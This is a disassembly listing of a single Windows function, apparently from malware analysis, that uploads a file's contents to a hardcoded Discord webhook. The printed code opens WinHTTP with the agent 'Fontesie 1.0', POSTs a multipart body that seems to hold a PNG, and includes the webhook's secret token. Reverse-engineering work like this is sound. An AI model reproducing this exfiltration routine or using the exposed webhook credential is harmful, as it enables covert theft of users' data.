Function at 0x140001370
Capabilities:
Initialize winhttp library
Prepare http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2f0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
xor r14d, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Fontesie_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp - 0x70], rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discord.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp - 0x78], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str._api_webhooks_1307250211130839060_JLrw7lT5HBePatRhSG62faT0n_IwxlWz_OEFBk6epskhbaLk8bqWM1_6SSF8kRPZRuDa
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp - 0x80], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0xc0]
call fcn.140002f50
nop
cmp qword [rbp + 0x150], r14
jne 0x140001464
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400035a0
lea rdx, [0x140003760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001dc2
mov qword [rsp + 0x40], r14
mov word [rsp + 0x48], 1
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx + 0x108]
mov qword [rbp + 0x10], rcx
test rcx, rcx
sete byte [rbp + 0x18]
mov byte [rbp + 0x19], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
movaps xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm6, xmmword [rsp + 0x40]
test rcx, rcx
je 0x1400014e0
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400014cf
mov byte [rbp + 0x19], al
mov rax, qword [rbp + 0x10]
mov byte [rbp + 0x18], 1
movaps xmm0, xmmword [rbp + 0x10]
jmp 0x1400014e5
mov rax, r14
mov qword [rbp + 0x10], rax
mov byte [rbp + 0x18], 1
movaps xmm0, xmmword [rbp + 0x10]
jmp 0x1400014e5
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x1400015b7
test rax, rax
je 0x1400015c0
movdqa xmmword [rsp + 0x40], xmm6
movdqa xmmword [rbp + 0x10], xmm0
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x40]
call fcn.140004050
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
mov ecx, 0x30
call fcn.1400043b0
mov rbx, rax
mov qword [rbp + 0xa0], rax
movdqa xmm0, xmmword [0x140006910]
movdqu xmmword [rbp + 0xb0], xmm0
movups xmm0, xmmword [str.____WebKitFormBoundary7MA4YWxkTrZu0gW]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140006768]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140006778]
mov dword [rax + 0x20], ecx
movzx eax, byte [0x14000677c]
mov byte [rbx + 0x24], al
mov byte [rbx + 0x25], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
lea rax, [rbx + 0x25]
movabs r15, 0x7fffffffffffffff
mov esi, 7
cmp rbx, rax
jne 0x1400015d5
mov rbx, r14
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x70], rbx
mov r12d, esi
mov qword [rbp + 0x78], rsi
mov word [rbp + 0x60], r14w
jmp 0x14000162d
test rax, rax
je 0x1400014fc
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
jmp 0x14000151a
mov qword [rbp + 0x70], r14
mov edi, 0x27
lea rcx, [rdi + 1]
add rcx, rcx
call fcn.1400043b0
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x78], rdi
mov r8, rax
mov rcx, rax
mov edx, 0x25
nop dword [rax]
movsx eax, byte [rbx]
mov word [rcx], ax
lea rcx, [rcx + 2]
lea rbx, [rbx + 1]
sub rdx, 1
jne 0x140001600
mov qword [rbp + 0x70], 0x25
mov word [r8 + 0x4a], r14w
mov r12, qword [rbp + 0x78]
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x10], rax
lea r8, [rbp + 0xa0]
lea rcx, [rbp - 0x10]
call fcn.1400037a0
nop
mov r8d, 2
lea rdx, [0x140006780]
mov rcx, rax
call fcn.140003520
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400016be
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
movdqa xmm0, xmmword [0x140006900]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
movdqa xmm0, xmmword [0x1400069b0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1400069d0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x140006960]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x140006930]
movdqa xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x20], 0x100121a
lea rcx, [rbp - 0x60]
call fcn.140003310
lea r8, [rbp - 0x1e]
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.140003a80
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140003520
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001786
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001781
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001781
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
mov dword [rsp + 0x58], 0xa0d0a
movdqa xmm0, xmmword [0x140006970]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x2f656761
mov dword [rsp + 0x54], 0xd676e70
mov byte [rsp + 0x5c], 0
lea r8, [rsp + 0x5b]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140003a80
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
lea rcx, [rbp + 0x20]
call fcn.140003520
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001826
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001821
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001821
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
mov r14, qword [rbp + 0x50]
mov rax, r15
sub rax, r14
cmp rax, 2
jb 0x140001e55
lea r13, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova r13, qword [rbp + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r15, [r14 + 2]
mov ebx, 0xf
lea rdi, [rsp + 0x40]
cmp r15, rbx
jbe 0x1400018f4
mov rbx, r15
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140001899
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400018c8
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400018b2
xor edi, edi
jmp 0x1400018ef
cmp rcx, 0x1000
jb 0x1400018e7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001e4f
mov rcx, rax
call fcn.1400043b0
test rax, rax
je 0x140001c60
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400018ef
call fcn.1400043b0
mov rdi, rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rbx
mov r8, r14
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + r14], 0xa0d
mov byte [rdi + r15], 0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140003520
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001975
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001970
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c60
call fcn.1400043f4
lea r8, [rbp + 0xa0]
lea rcx, [rsp + 0x40]
call fcn.1400037a0
nop
mov r8d, 4
lea rdx, str.___r_n
mov rcx, rax
call fcn.140003520
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
xor r13d, r13d
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
lea rdx, [rsp + 0x60]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x20]
call fcn.140003520
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001a2f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001a6f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
mov rdx, qword [rbp + 0x10]
sub rax, rdx
cmp rax, 0x2c
jb 0x140001e55
lea r15, [rbp + 0x60]
mov rdi, qword [rbp + 0x60]
cmp r12, 7
cmova r15, rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea r14, [rdx + 0x2c]
lea rbx, [rbp + 0x80]
cmp r14, 7
jbe 0x140001b5a
mov rsi, r14
or rsi, 7
cmp rsi, rcx
jbe 0x140001b19
mov rsi, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001b47
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001e4f
mov rcx, rax
call fcn.1400043b0
test rax, rax
je 0x140001c60
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001b4f
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rcx, [rsi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140001e4f
add rcx, rcx
jne 0x140001ae4
mov rbx, r13
jmp 0x140001b53
call fcn.1400043b0
mov rbx, rax
mov rdx, qword [rbp + 0x10]
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x98], rsi
movaps xmm0, xmmword [str.Content_Type:_multipart_form_data__boundary]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x1400067a0]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x1400067b0]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x1400067c0]
movups xmmword [rbx + 0x30], xmm1
movaps xmm0, xmmword [0x1400067d0]
movups xmmword [rbx + 0x40], xmm0
movsd xmm0, qword [0x1400067e0]
movsd qword [rbx + 0x50], xmm0
lea rcx, [rbx + 0x58]
lea r8, [rdx + rdx]
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + r14*2], r13w
lea r9, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova r9, qword [rbp + 0x20]
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rdx, qword [rbp + 0x80]
mov qword [rsp + 0x30], r13
mov eax, dword [rbp + 0x30]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x140001c6c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
movdqa xmm0, xmmword [0x1400068f0]
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0x80], r13w
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140001cc2
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cbd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
movdqa xmm0, xmmword [0x140006900]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
cmp r12, 7
jbe 0x140001d19
lea rdx, [r12*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001d09
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400043f4
movdqa xmm0, xmmword [0x140006900]
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140001d65
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
movdqa xmm0, xmmword [0x140006900]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140001db2
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043f4
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd0]
call fcn.140002e70
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140004390
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001110
nop
call fcn.1400011b0
int3